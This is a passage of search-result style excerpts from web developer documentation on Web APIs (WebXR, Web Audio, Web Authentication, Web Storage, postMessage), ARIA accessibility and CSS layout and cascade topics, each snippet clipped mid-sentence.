...n mode string for the kind of session you want to create. virtual reality in a vr environment, the entire image is digitally created by your app or site, from foreground objects all the way to the background or skybox. your frame drawing code will have to redraw every pixel of each view during each frame in order to avoid the potential of artifacts being left behind. some platforms may provide p
reviously-cleared frames to you, while others may optimize performance by not erasing the framebuffers in order to avoid having to touch each pixel twice per frame. there are two vr session modes available in webxr: inline and immersive. the former, specified by the session mode string inline, presents the rendered scene within the context of a document in a web browser, and doesn't require special ...
Inputs and input sources - Web APIs
, a standard squeeze input, and a touchpad. according to the selectcomponentid property, the xr-standard-trigger component is the one used to perform a primary action. additionally, the gamepad object maps those inputs to the gamepad, assigning the trigger, squeeze, and touchpad tap to the input source's button list and the touchpad's "axes" to the axis list. the list in profiles is in order of
reverse specificity; that is, the most precise description is first, and the least precise description is last. the first entry in the list is typically indicative of the precise model of the controller, or of a model with which the controller is compatible. for example, entry 0 in profiles for an oculus touch controller is oculus-touch. the next entry is generic-trigger-squeeze-thumbstick, indicati...
...g these input devices with the xr scene, you can collect the input data yourself and apply it yourself. assuming inputs are used to control an avatar within the simulation, which is the most common use case, webxr inputs are used to affect the avatar in the following ways, using data collected from the non-xr input device: position the avatar's position is changed by applying a delta to the p
reviously known position, then replacing the avatar's reference space with a new one whose transform reflects the new position. orientation the avatar's orientation or facing direction is changed by applying a delta to its rotation around the three axes, updating its orientation vector, then recomputing its reference space. action the avatar performs an action, such as using an object or weapon, ...
Basic concepts behind Web Audio API - Web APIs
one or more sources, goes through one or more nodes, then ends up at a destination. although, you don't have to provide a destination if you, say, just want to visualize some audio data. a simple, typical workflow for web audio would look something like this: create the audio context. inside the context, create sources — such as <audio>, oscillator, or stream. create effects nodes, such as
reverb, biquad filter, panner, or compressor. choose the final destination for the audio, such as the user's computer speakers. establish connections from the audio sources through zero or more effects, eventually ending at the chosen destination. channel notation the number of audio channels available on a signal is frequently presented in a numeric format, such as 2.0 or 5.1. this is called ch...
...t, but is converted to planar for processing. audio channels different audio buffers contain different numbers of channels: from the more basic mono (only one channel) and stereo (left and right channels), to more complex sets like quad and 5.1, which have different sound samples contained in each channel, leading to a richer sound experience. ...
Web audio spatialization basics - Web APIs
= panner.orientationz.value*math.sin(q) + panner.orientationy.value*math.cos(q); x = panner.orientationx.value; panner.orientationx.value = x; panner.orientationy.value = y; panner.orientationz.value = z; break; one last thing — we need to update the css and keep a reference of the last move for the mouse event. here's the final moveboombox function. ...
... x = panner.orientationx.value; panner.orientationx.value = x; panner.orientationy.value = y; panner.orientationz.value = z; break; } boombox.style.transform = 'translatex('+transform.xaxis+'px) translatey('+transform.yaxis+'px) scale('+transform.zaxis+') rotatey('+transform.rotatey+'deg) rotatex('+transform.rotatex+'deg)'; const move = p
revmove || {}; move.frameid = requestanimationframe(() => moveboombox(direction, move)); return move; } wiring up our controls wiring up out control buttons is comparatively simple — now we can listen for a mouse event on our controls and run this function, as well as stop it when the mouse is released: // for each of our controls, move the boombox and change the position values movecontr...
Web Authentication API - Web APIs
st), and will not be available for use if the browser is not operating in a secure context. in their most basic forms, both create() and get() receive a very large random number called a challenge from the server and they return the challenge signed by the private key back to the server. this proves to the server that a user is in possession of the private key required for authentication without
revealing any secrets over the network. in order to understand how the create() and get() methods fit into the bigger picture, it is important to understand that they sit between two components that are outside the browser: server - the web authentication api is intended to register new credentials on a server (also referred to as a service or a relying party) and later use those same credentials...
... the authentication flow looks similar to the registration flow, and the illustration of actions in figure 2 may be recognizable as being similar to the illustration of registration actions in figure 1. the primary differences between registration and authentication are that: 1) authentication doesn't require user or relying party information; and 2) authentication creates an assertion using the p
reviously generated key pair for the service rather than creating an attestation with the key pair that was burned into the authenticator during manufacturing. again, the description of authentication below is a broad overview rather than getting into all the options and features of the web authentication api. the specific options for authenticating can be found in the publickeycredentialrequestoptio...
Using the Web Speech API - Web APIs
s the grammar we want our app to recognise. the following variable is defined to hold our grammar: var colors = [ 'aqua' , 'azure' , 'beige', 'bisque', 'black', 'blue', 'brown', 'chocolate', 'coral' ... ]; var grammar = '#jsgf v1.0; grammar colors; public <color> = ' + colors.join(' | ') + ' ;' the grammar format used is jspeech grammar format (jsgf) — you can find a lot more about it at the p
revious link to its spec. however, for now let's just run through it quickly: the lines are separated by semi-colons, just like in javascript. the first line — #jsgf v1.0; — states the format and version used. this always needs to be included first. the second line indicates a type of term that we want to recognise. public declares that it is a public rule, the string in angle brackets defin...
...thesisutterance.voice property. finally, we set the speechsynthesisutterance.pitch and speechsynthesisutterance.rate to the values of the relevant range form elements. then, with all necessary preparations made, we start the utterance being spoken by invoking speechsynthesis.speak(), passing it the speechsynthesisutterance instance as a parameter. ...
Using the Web Storage API - Web APIs
ings). you can access these values like an object, or with the storage.getitem() and storage.setitem() methods. these three lines all set the (same) colorsetting entry: localstorage.colorsetting = '#a4509b'; localstorage['colorsetting'] = '#a4509b'; localstorage.setitem('colorsetting', '#a4509b'); note: it's recommended to use the web storage api (setitem, getitem, removeitem, key, length) to p
revent the pitfalls associated with using plain objects as key-value stores. the two mechanisms within web storage are as follows: sessionstorage maintains a separate storage area for each given origin that's available for the duration of the page session (as long as the browser is open, including page reloads and restores). localstorage does the same thing, but persists even when the browser i...
...anges to your choices in the landing page, you'll see the updated storage information outputted as a storageevent is fired. note: as well as viewing the example pages live using the above links, you can also check out the source code. testing whether your storage has been populated to start with, in main.js, we test whether the storage object has already been populated (i.e., the page was p
reviously accessed): if(!localstorage.getitem('bgcolor')) { populatestorage(); } else { setstyles(); } the storage.getitem() method is used to get a data item from storage; in this case, we are testing to see whether the bgcolor item exists; if not, we run populatestorage() to add the existing customization values to the storage. if there are already values there, we run setstyles() to update t...
Window.onbeforeinstallprompt - Web APIs
e. syntax window.addeventlistener("beforeinstallprompt", function(event) { ... }); window.onbeforeinstallprompt = function(event) { ...}; example the following example uses the beforeinstallprompt event to make an install button operable, by using the event inside a click handler. ...
...ddeventlistener("beforeinstallprompt", function(event) { ... }); window.onbeforeinstallprompt = function(event) { ...}; example the following example uses the beforeinstallprompt event to make an install button operable, by using the event inside a click handler. ...
window.postMessage() - Web APIs
h that provided in targetorigin, the event will not be dispatched; only if all three match will the event be dispatched. this mechanism provides control over where messages are sent; for example, if postmessage() was used to transmit a password, it would be absolutely critical that this argument be a uri whose origin is the same as the intended receiver of the message containing the password, to p
revent interception of the password by a malicious third party. always provide a specific targetorigin, not *, if you know where the other window's document should be located. failing to provide a specific target discloses the data you send to any interested malicious site. transfer optional is a sequence of transferable objects that are transferred with the message. the ownership of these objects ...
...very listener, but this is discouraged, since an extension cannot be certain the origin of such messages, and other listeners (including those you do not control) can listen in. content scripts should use runtime.sendmessage to communicate with the background script. web context scripts can use custom events to communicate with content scripts (with randomly generated event names, if needed, to p
revent snooping from the guest page). lastly, posting a message to a page at a file: url currently requires that the targetorigin argument be "*". file:// cannot be used as a security restriction; this restriction may be modified in the future. specifications specification status comment html living standardthe definition of 'postmessage()' in that specification. liv...
Window.requestAnimationFrame() - Web APIs
to improve performance and battery life. the callback method is passed a single argument, a domhighrestimestamp, which indicates the current time (based on the number of milliseconds since time origin). when callbacks queued by requestanimationframe() begin to fire multiple callbacks in a single frame, each receives the same timestamp even though time has passed during the computation of every p
revious callback's workload. this timestamp is a decimal number, in milliseconds, but with a minimal precision of 1ms (1000 µs). be sure to always use the first argument (or some other method for getting the current time) to calculate how much the animation will progress in a frame, otherwise the animation will run faster on high refresh rate screens. check the example below for a way to do this. ...
... timing control for script-based animationsthe definition of 'requestanimationframe' in that specification. obsolete initial definition ...
Window.speechSynthesis - Web APIs
our basic speech synthesiser demo, we first grab a reference to the speechsynthesis controller using window.speechsynthesis. after defining some necessary variables, we retrieve a list of the voices available using speechsynthesis.getvoices() and populate a select menu with them so the user can choose what voice they want. inside the inputform.onsubmit handler, we stop the form submitting with p
reventdefault(), create a new speechsynthesisutterance instance containing the text from the text <input>, set the utterance's voice to the voice selected in the <select> element, and start the utterance speaking via the speechsynthesis.speak() method. var synth = window.speechsynthesis; var inputform = document.queryselector('form'); var inputtxt = document.queryselector('input'); var voiceselect...
...ces[i].default) { option.textcontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } } populatevoicelist(); if (speechsynthesis.onvoiceschanged !== undefined) { speechsynthesis.onvoiceschanged = populatevoicelist; } inputform.onsubmit = function(event) { event.p
reventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment ...
WritableStream.WritableStream() - Web APIs
a new chunk of data (specified in the chunk parameter) is ready to be written to the underlying sink. it can return a promise to signal success or failure of the write operation. the controller parameter passed to this method is a writablestreamdefaultcontroller that can be used by the developer to control the stream as more chunks are submitted for writing. this method will be called only after p
revious writes have succeeded, and never after the stream is closed or aborted (see below). close(controller) optional this method, also defined by the developer, will be called if the app signals that it has finished writing chunks to the stream. the contents should do whatever is necessary to finalize writes to the underlying sink, and release access to it. if this process is asynchronous, it c...
...n a single write() operation. in this example, it's the maximum amount of data that can be sent to defaultwriter.write() (line 11). the defaultwriter.ready property returns a promise that resolves when the sink (the first property of the writablestream constructor) is done writing data. the data source can wither write more data (line 11) or call close() (line 24). calling close() too early can p
revent data from being written. this is why the example calls defaultwriter.ready twice (lines 9 and 22). the promise returned by the sink's write() method (line 40) tells the writablestream and its writer when to resolve defaultwriter.ready. specifications specification status comment streamsthe definition of 'writablestream()' in that specification. living standard ...
XRSession.requestAnimationFrame() - Web APIs
ecuted once before the next repaint; if you wish for it to be executed for the following repaint, you must call requestanimationframe() again. this can be done from within the callback itself. the callback takes two parameters as inputs: an xrframe describing the state of all tracked objects for the session, and a time stamp you can use to compute any animation updates needed. you can cancel a p
reviously scheduled animation by calling cancelanimationframe(). note: despite the obvious similarities between these methods and the global requestanimationframe() function provided by the window interface, you must not treat these as interchangeable. there is no guarantee that the latter will work at all while an immersive xr session is underway. syntax requestid = xrsession.requestanimationfr...
...esign pattern that ensures seamless transition between non-immersive animations created via window.requestanimationframe and immersive xr animations. let xrsession = null function onwindowanimationframe(time) { window.requestanimationframe(onwindowanimationframe) // this may be called while an immersive session is running on some devices, // such as a desktop with a tethered headset. to p
revent two loops from // rendering in parallel, skip drawing in this one until the session ends. if (!xrsession) { renderframe(time, null) } } // the window animation loop can be started immediately upon the page loading. window.requestanimationframe(onwindowanimationframe) function onxranimationframe(time, xrframe) { xrsession.requestanimationframe(onxranimationframe) renderframe(tim...
XRView - Web APIs
in inline mode, and potentially many (especially if the field of view is very large). there might also be views representing observers watching the action, or other viewspoints not direclty associated with a player's eye. in addition, the number of views can change at any time, depending on the needs of the time. so you should process the view list every time without making assumptions based on p
revious frames. all positions and orientations within the views for a given xrviewerpose are specified in the reference space that was passed to xrframe.getviewerpose(); this is called the viewer reference space. the transform property describes the position and orientation of the eye or camera represented by the xrview, given in that reference space. the destination rendering layer to render a fr...
...rotate (often referred to as teleporting) an object, you need to create a new reference space for that object which applies a transform that encapsulates the desired changes. the createteleporttransform() function returns the transform needed to move and rotate an object whose current situation is described by the reference space refspace to a new position and orientation which is computed using p
reviously recorded mouse and keyboard input data which has generated offsets for yaw, pitch, and position along all three axes. function applymousemovement(refspace) { if (!mouseyaw && !mousepitch && !axialdistance && !transversedistance && !verticaldistance) { return refspace; } // compute the quaternion used to rotate the image based // on the pitch and yaw. quat.identity(inv...
x-ms-aria-flowfrom - Accessibility
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the x-ms-aria-flowfrom property specifies the id of the p
revious element in an alternative reading order, allowing assistive technology to override the general default of reading in document source order. the property serves to define element relationships utilizing aria relationship attributes and the aria-flowto property. this proprietary property is specific to internet explorer and microsoft edge. syntax x-ms-aria-flowfrom="elementid"; value the x-ms-aria-flowfrom property value uses an i...
...logy to override the general default of reading in document source order. the property serves to define element relationships utilizing aria relationship attributes and the aria-flowto property. this proprietary property is specific to internet explorer and microsoft edge. syntax x-ms-aria-flowfrom="elementid"; value the x-ms-aria-flowfrom property value uses an id selector to define which p
revious element the reading order will flow from. example <div tabindex="0" class="foo" id="element2" role="option" aria-posinset="1" aria-setsize="15" aria-flowto="element8" x-ms-aria-flowfrom="element5"> see also aria relationship attributes microsoft api extensions ...
ARIA: grid role - Accessibility
result; do { result = moveto(i, event.target.dataset.col); i++; } while (result == false); break; case "pagedown": var i = maxrow; var result; do { result = moveto(i, event.target.dataset.col); i--; } while (result == false); break; case "enter": alert(event.target.textcontent); break; } event.p
reventdefault(); }); html <table role="grid" aria-labelledby="calendarheader"> <caption id="calendarheader">september 2018</caption> <thead role="rowgroup"> <tr role="row"> <td></td> <th role="columnheader" aria-label="sunday">s</th> <th role="columnheader" aria-label="monday">m</th> <th role="columnheader" aria-label="tuesday">t</th> <th role="columnheader...
...make sure that the functionality and interaction needed can be best achieved using the grid role. specifications specification status ...
ARIA: tab role - Accessibility
side of the tablist moves focus to the active tab. if focus is on the active tab moves focus to the next element in the keyboard focus order, ideally the active tab's associated tabpanel. → focuses and optionally activates the next tab in the tab list. if the current tab is the last tab in the tab list it activates the first tab. ← focuses and optionally activates the p
revious tab in the tab list. if the current tab is the first tab in the tab list it activates the last tab. delete when allowed removes the currently selected tab from the tab list. required javascript features while there are ways to build tab-like functionality without javascript, there are no substitute combination of html and css only that will provide the same set of functi...
...rovide the same set of functionality that's required above for accessible tabs with content. example this example combines the role tab with tablist and elements with tabpanel to create an interactive group of tabbed content. here we are enclosing our group of content in a div, with our tablist having an aria-label to label it for assistive technology. each tab is a button with the attributes p
reviously mentioned. the first tab has tabindex=0 on it, which we will later change to whatever tab has aria-selected=true. all of the tabpanel elements have tabindex=0 to make them tabbable, and all but the currently active one have the hidden attribute, which we will change with javascript. there is some basic styling applied that restyles the buttons and changes the z-index to of tab elements to g...
An overview of accessible web applications and widgets - Accessibility
istive technology if it is busy, disabled, selected, or hidden. aria attributes are interpreted automatically by the browser and translated to the operating system's native accessibility apis. so an element with role="slider" will be controlled in the same way as a native slider is controlled on the operating system. this provides a much more consistent user experience than was possible in the p
revious generation of web applications, since assistive technology users can apply all of their knowledge of how desktop applications work when they are using web-based applications. example 3: markup for the tabs widget with aria attributes added. <!-- now *these* are tabs! --> <!-- we've added role attributes to describe the tab list and each tab. --> <ol role="tablist"> <li id="ch1tab" role="t...
...y users. here's a summary of how keyboard navigation should work in an aria-enabled web application: the tab key should provide focus to the widget as a whole. for example, tabbing to a menu bar should not put focus on the menu's first element. the arrow keys should allow for selection or navigation within the widget. for example, using the left and right arrow keys should move focus to the p
revious and next menu items. when the widget is not inside a form, both the enter and spacebar keys should select or activate the control. within a form, the spacebar key should select or activate the control, while the enter key should submit the form's default action. if in doubt, mimic the standard desktop behavior of the control you are creating. so, for the tabs widget example above, the us...
Architecture - Accessibility
on any container element that has both text and embedded objects for accessible children. why hyperlink is often not a link as explained above, anything that is embedded in text implements the hyperlink interface. while it is odd to call non-link objects a link, this was a necessary compromise in the newatk design because it is necessary to know where objects exist within their containing text. p
reviously the hyper link interface was really only for links, but the design could not fully represent an html document hierarchy. keeping the link name of the interface is unfortunate but necessary for backwards compatibility, without introducing superfluous interfaces. api comparison nsiaccessible (internal). when you have an nsiaccessiblehypertext, you can ask for its links, which is the subset...
...found. otherwise, continue processing with offset = the index at the end of the line. if the character at the offset is an embed, proceed to its corresponding accessible and recurse on the first character until a non-embed is found. otherwise, the offset marks the start of a new line. navigating to the next word follows a similar pattern. navigating p
revious requires returning to the embed character in the parent accessible when the point of regard reaches the end of text in the corresponding child accessible for the embed. see http://svn.gnome.org/viewcvs/lsr/tru...py?view=markup for a bsd implementation. (e) to grab a subtree of content: although under windows text content is still exposed in leaf nodes of role_text, it is no longer necessary t...
Implementing a Microsoft Active Accessibility (MSAA) Server - Accessibility
t_accselection: which children of this item are selected? get_accdefaultaction: get a description or name of the default action for this component, such as "jump" for links. accselect: select the item associated with this iaccessible. [important] acclocation: get the x,y coordinates, and the height and width of this iaccessible node. [important] accnavigate: navigate to the first/last child, p
revious/next sibling, up, down, left or right from this iaccessible. [important, but no need to implement up/down/left/right] acchittest: find out what iaccessible exists and a specific coordinate. accdodefaultaction: perform the action described by get_accdefaultaction. put_accname: change the name. put_accvalue: change the value. msaa events cheat sheet for information on what each event doe...
...ly can -- this includes being extremely responsive to their bug reports with new test builds, as well as being very communicative about what you have changed and when. do as much work as you possibly can without their help. see if your organization can offer something they can't get for themselves. be patient, and set your expectations to a reasonable level. realize that it's about both pride and
revenue for these companies, and that they need to sell a lot of copies of their software to make up the work they put in to support your app. remember that no matter how small they are, you need them more than they need you, unless your application's accessibility is being demanded by end-users. example: how gecko and mozilla implement msaa the accessible module is where the mozilla msaa implement...
Web Accessibility: Understanding Colors and Luminance - Accessibility
overview colors, and how they are used, are a major component of accessibility. ...
...e. the implication is that web developers who seek to improve legibility of text against a background can take advantage of the principles of local adaptation. dark adaptation, to low luminance, is slow. when you come in from outside where the sun was bright, and walk into a dark room, you are experiencing dark adaptation. it can take a few minutes to adjust to this. light adaptation is the
reverse. going from a dark room into bright sunlight is quicker, but it can also hurt. the implication is that web developers who seek to improve legibility of text in which the ambient conditions of a room have changed can take advantage of css media queries 5 environment media features, when these features become available. saturation saturation deserves special mention in discussions about col...
Operable - Accessibility
lick here" would be confusing. 2.4.5 multiple navigation mechanisms (aa) you should provide at least two general navigation mechanisms to find pages on your web site, for example navigation menu, breadcrumb trail, site search, site map, list of related links, etc. the only exception to this is where a page is one step in a process, so should only logically have links to the p
revious and next steps. most of these mechanisms can be created using simple html features, for example see search field, creating a navigation menu, styling links as buttons. 2.4.6 headings and labels (aa) heading (e.g. <h2>) and <label> elements clearly describe the purpose of the content and form elements they are supposed to be describing. see ui controls, meaningful te...
...that can be operated with a pointer can be operated with single-point actions. path-based or multi-point gestures are not required to operate any functionality. exceptions exist. understanding pointer gestures 2.5.2 pointer cancellation (a) added in 2.1 for functionality that can be operated using a single-pointer at least one of the following is true: no down-event, abort/undo, up
reversal or essential. understanding pointer cancellation 2.5.3 label in name (a) added in 2.1 for each user interface component that includes a visible text label, make sure the accessible name matches (or includes) the visible text in the label. understanding label in name 2.5.4 motion actuation (a) added in 2.1 ensure that for functionality that can be triggered by a)...
Accessibility
for many people, technology makes things easier. for people with disabilities, technology makes things possible. accessibility means developing content to be as accessible as possible no matter an individual's physical and cognitive abilities and no matter how they access the web. "the web is fundamentally designed to work for all people, whatever their hardware, software, language, culture, location, or physical or mental ability. ...
... and javascript accessibility best practices css and javascript, when used properly, also have the potential to allow for accessible web experiences ... or they can significantly harm accessibility if misused. this article outlines some css and javascript best practices that should be considered to ensure even complex content is as accessible as possible. wai-aria basics following on from the p
revious article, sometimes making complex ui controls that involve unsemantic html and dynamic javascript-updated content can be difficult. wai-aria is a technology that can help with such problems by adding in further semantics that browsers and assistive technologies can recognize and use to let users know what is going on. here we'll show how to use it at a basic level to improve accessibility. a...
::after (:after) - CSS: Cascading Style Sheets
0; top: 24px; min-width: 200px; border: 1px #aaaaaa solid; border-radius: 10px; background-color: #ffffcc; padding: 12px; color: #000000; font-size: 14px; z-index: 1; } result specifications specification status comment css pseudo-elements level 4the definition of '::after' in that specification. ...
...aft no significant changes to the p
revious specification. css animationsthe definition of 'animations on pseudo-element properties' in that specification. working draft allows animations on properties defined on pseudo-elements. selectors level 3the definition of '::after' in that specification. recommendation introduces the two-colon syntax. css level 2 (
revision 1)the definition of '::after' in that specification. recommendation initial definition, using the one-colon syntax. ...
@page - CSS: Cascading Style Sheets
recommendation initial definition ...
... css logical properties and values level 1the definition of ':recto and :verso' in that specification. editor's draft adds the :recto and :verso page selectors css paged media module level 3the definition of '@page' in that specification. working draft no change from css level 2 (
revision 1), though more css at-rules can be used inside a @page. css level 2 (
revision 1)the definition of '@page' in that specification. recommendation initial definition ...
Typical use cases of Flexbox - CSS: Cascading Style Sheets
bject. i have used the alignment properties to align the items on the cross axis to flex-start, and then set the .content flex item to flex: 1. as with our column layout card pattern above, using flex: 1 means this part of the card can grow. some things that you might want to try in this live example relate to the different ways you might want to constrain the media object in your design. to p
revent the image growing too large, add a max-width to the image. as that side of the media object is using the initial values of flexbox it can shrink but not grow, and uses a flex-basis of auto. any width or max-width applied to the image will become the flex-basis. .image img { max-width: 100px; } you could also allow both sides to grow and shrink in proportion. if you set both sides to flex:...
...ave assigned. the flex properties we use to do this are described in detail in the guide controlling ratios of flex items along the main axis. .media .content { flex: 3; padding: 10px; } .image { flex: 1; } flipping the media object to switch the display of the media object so that the image is on the right and the content is on the left we can use the flex-direction property set to row-
reverse. the media object now displays the other way around. i have achieved this in the live example by adding a class of flipped alongside the existing .media class. this means you can see how the display changes by removing that class from the html. form controls flexbox is particularly useful when it comes to styling form controls. forms have lots of markup and lots of small elements that we ...
In Flow and Out of Flow - CSS: Cascading Style Sheets
all elements that are in flow, will be laid out using this method. in the following example i have a heading, paragraph, a list and a final paragraph which contains a strong element. the heading and paragraphs are block level, the strong element inline. the list is displayed using flexbox to arrange the items into a row, however it too is participating in block and inline layout - the container has an outside display type of block. all of the elements can be said to be in flow. appearing on the page in the order that they are in the source. ...
... relative it remains in flow, however you are then able to use the offset values to push it around. the space that it would have been placed in normal flow is reserved however, as you can see in the example below. when you do anything to remove, or shift an item from where it would be placed in normal flow, you can expect to need to do some managing of the content and the content around it to p
revent overlaps. whether that involves clearing floats, or ensuring that an element with position: absolute does not sit on top of some other content. for this reason methods which remove elements from being in-flow should be used with understanding of the effect that they have. summary in this guide we have covered the ways to take an element out of flow in order to achieve some very specific type...
Grid template areas - CSS: Cascading Style Sheets
when you use css grid layout you always have lines, and this can be a straightforward way to place items on your grid. however, there is an alternate method to use for positioning items on the grid which you can use alone or in combination with line-based placement. this method involves placing our items using named template areas, and we will find out exactly how this method works. you will see very quickly why we sometimes call this the ascii-art method of grid layout! naming a grid area you have already encountered the grid-area property. this is the property that can take as a value all four of the lines used to position a grid area. ...
... the grid-template shorthand, just be aware than when doing so you will reset the other values set by the property. .wrapper { display: grid; grid: "hd hd hd hd hd hd hd hd hd" minmax(100px, auto) "sd sd sd main main main main main main" minmax(100px, auto) "ft ft ft ft ft ft ft ft ft" minmax(100px, auto) / 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr ; } we will
revisit the other functionality offered by this shorthand later in these guides when we take a look at auto placement and the grid-auto-flow property. if you have worked through these initial guides you now should be in a position to create grid layouts using line-based placement or named areas. take some time to build some common layout patterns using grid, while there are lots of new terms to lear...
Layout using named grid lines - CSS: Cascading Style Sheets
in this guide we are going to look at how these two things work together when we use named lines. line naming is incredibly useful, but some of the more baffling looking grid syntax comes from this combination of names and track sizes. once you work through some examples it should become clearer and easier to work with. naming lines when defining a grid you can assign some or all of the lines in your grid a name when you define your grid with the grid-template-rows and grid-template-columns properties. to demonstrate i’ll use the simple layout created in the guide on line-based placement. ...
... [content-end] 100px [main-end]; } .thing { grid-area: content; } <div class="wrapper"> <div class="thing">i am placed in an area named content.</div> </div> we don’t need to define where our areas are with grid-template-areas as our named lines have created an area for us. implicit grid lines from named areas we have seen how named lines create a named area, and this also works in
reverse. named template areas create named lines that you can use to place your items. if we take the layout created in the guide to grid template areas, we can use the lines created by our areas to see how this works. in this example i have added an extra div with a class of overlay. we have named areas created using the grid-area property, then a layout created in grid-template-areas. the area nam...
The stacking context - CSS: Cascading Style Sheets
the stacking context is a three-dimensional conceptualization of html elements along an imaginary z-axis relative to the user, who is assumed to be facing the viewport or the webpage. html elements occupy this space in priority order based on element attributes. the stacking context in the p
revious part of this article, using z-index, the rendering order of certain elements is influenced by their z-index value. this occurs because these elements have special properties which cause them to form a stacking context. a stacking context is formed, anywhere in the document, by any element in the following scenarios: root element of the document (<html>). element with a position value absolute or relative and z-index value other than auto. element with a position value fixed or sticky (stic...
...webkit-overflow-scrolling value touch. element with a will-change value specifying any property that would create a stacking context on non-initial value (see this post). element with a contain value of layout, or paint, or a composite value that includes either of them (i.e. contain: strict, contain: content). within a stacking context, child elements are stacked according to the same rules p
reviously explained. importantly, the z-index values of its child stacking contexts only have meaning in this parent. stacking contexts are treated atomically as a single unit in the parent stacking context. in summary: stacking contexts can be contained in other stacking contexts, and together create a hierarchy of stacking contexts. each stacking context is completely independent of its siblin...
CSS values and units - CSS: Cascading Style Sheets
nherit, and unset, which explicitly specify defaulting behaviors. the initial keyword represents the value specified as the property’s initial value. the inherit keyword represents the computed value of the property on the element’s parent, provided it is inherited. the unset keyword acts as either inherit or initial, depending on whether the property is inherited or not. a fourth value of
revert was added in the cascade level 4 specification, but it does not currently have good browser support. urls a <url> type uses functional notation, which accepts a <string> that is a url. this may be an absolute url or a relative url. for example, if you wanted to include a background image, you might use either of the following. .box { background-image: url("images/my-background.png"); } .
... color() functions. css color module level 3 recommendation deprecates system-colors. adds svg colors. adds the rgba(), hsl(), and hsla() functions. css images module level 4 working draft adds element(), image(), image-set(), conic-gradient() css images module level 3 candidate recommendation initial definition of image. css level 2 (
revision 1) recommendation css level 1 recommendation initial definition. ...
Introducing the CSS Cascade - CSS: Cascading Style Sheets
as finished altering styles, it may find itself in a situation where it needs to restore them to a known state. this may happen in cases of animations, theme changes, and so forth. the css property all lets you quickly set (almost) everything in css back to a known state. all lets you opt to immediately restore all properties to any of their initial (default) state, the state inherited from the p
revious level of the cascade, a specific origin (the user-agent stylesheet, the author stylesheet, or the user stylesheet), or even to clear the values of the properties entirely. css animations and the cascade css animations, using @keyframes at-rules, define animations between states. keyframes don't cascade, meaning that at any given time css takes values from only one single @keyframes, and nev...
...y. therefore, it is the last one that is then selected: margin-left: 3px note that the declaration defined in the user css, though having a greater specificity, is not chosen as the cascade algorithm is applied before the specificity algorithm. specifications specification status comment css cascading and inheritance level 4 candidate recommendation added the
revert keyword, which allows rolling a property back a cascade level. css cascading and inheritance level 3 candidate recommendation removed the override cascade origin, as it was never used in a w3c standard. css level 2 (
revision 1)the definition of 'the cascade' in that specification. recommendation css level 1the definition of 'the cascade' in that specific...
Shorthand properties - CSS: Cascading Style Sheets
common font-related properties can be defined using the shorthand font, and the different margins around a box can be defined using the margin shorthand. tricky edge cases even if they are very convenient to use, there are a few edge cases to keep in mind when using them: a value which is not specified is set to its initial value. that sounds anecdotal, but it really means that it overrides p
reviously set values. therefore: background-color: red; background: url(images/bg.gif) no-repeat left top; will not set the color of the background to red but to background-color's default, transparent, as the second rule has precedence. only the individual properties values can inherit. as missing values are replaced by their initial value, it is impossible to allow inheritance of individual pr...
...ed element to be the same as that of its parent element. effectively, this "turns on inheritance". initial sets the property value applied to a selected element to the initial value of that property. unset resets the property to its natural value, which means that if the property is naturally inherited it acts like inherit, otherwise it acts like initial. note: there is also a newer value,
revert, which has limited browser support. note: see origin of css declarations in introducing the css cascade for more information on each of these and how they work. we can look at a list of links and explore how the universal values work. the live example below allows you to play with the css and see what happens when you make changes. playing with code really is the best way to get to grips ...
border-width - CSS: Cascading Style Sheets
ngthborder-left-width: a lengthborder-right-width: a lengthborder-top-width: a length formal syntax <line-width>{1,4}where <line-width> = <length> | thin | medium | thick examples a mix of values and lengths html <p id="sval"> one value: 6px wide border on all 4 sides</p> <p id="bival"> two different values: 2px wide top and bottom border, 10px wide right and left border</p> <p id="t
reval"> three different values: 0.3em top, 9px bottom, and zero width right and left</p> <p id="fourval"> four different values: "thin" top, "medium" right, "thick" bottom, and 1em left</p> css #sval { border: ridge #ccc; border-width: 6px; } #bival { border: solid red; border-width: 2px 10px; } #t
reval { border: dotted orange; border-width: 0.3em 0 9px; } #fourval { border: s...
...medium thick 1em; } p { width: auto; margin: 0.25em; padding: 0.25em; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-width' in that specification. candidate recommendation no direct change; the <length> css data type extension has an effect on this property. css level 2 (
revision 1)the definition of 'border-width' in that specification. recommendation added the constraint that values' meaning must be constant inside a document. css level 1the definition of 'border-width' in that specification. recommendation initial definition. ...
box-lines - CSS: Cascading Style Sheets
olumns) in order to accommodate all of its children. the box must attempt to fit its children on as few lines as possible by shrinking all elements down to their minimum widths or heights if necessary. if the children in a horizontal box still do not fit on a line after being reduced to their minimum widths, then children are moved one by one onto a new line, until the elements remaining on the p
revious line fit. this process can repeat to an arbitrary number of lines. if a line contains only a single element that doesn't fit, then the element should stay on that line and overflow out of the box. the later lines are placed below the earlier lines in normal direction boxes and above in
reverse direction boxes. the height of a line is the height of the largest child in that line. no additional...
...hild in that line. no additional space appears between the lines apart from the margins on the largest elements in each line. for calculating the height of a line, margins with a computed value of auto should be treated as having a value of 0. a similar process occurs for children in a vertical box. later lines in normal direction boxes are placed to the right of earlier lines and to the left in
reverse direction boxes. once the number of lines has been determined, elements with a computed value for box-flex other than 0 stretch as necessary in an attempt to fill the remaining space on the lines. each line computes flexes independently, so only elements on that line are considered when evaluating box-flex and box-flex-groups. the packing of elements in a line, as specified by the box-pack p...
break-inside - CSS: Cascading Style Sheets
rated box, the property is ignored. /* keyword values */ break-inside: auto; break-inside: avoid; break-inside: avoid-page; break-inside: avoid-column; break-inside: avoid-region; /* global values */ break-inside: inherit; break-inside: initial; break-inside: unset; each possible break point (in other words, each element boundary) is affected by three properties: the break-after value of the p
revious element, the break-before value of the next element, and the break-inside value of the containing element. to determine if a break must be done, the following rules are applied: if any of the three concerned values is a forced break value (always, left, right, page, column, or region), it has precedence. if more than one of them are such a break, the value of the element that appears the ...
... full support full support no support no supportexperimental. expect behavior to change in the future.experimental. expect behavior to change in the future. notes on compatibility prior to firefox 65, the older property of page-break-inside will work in firefox to p
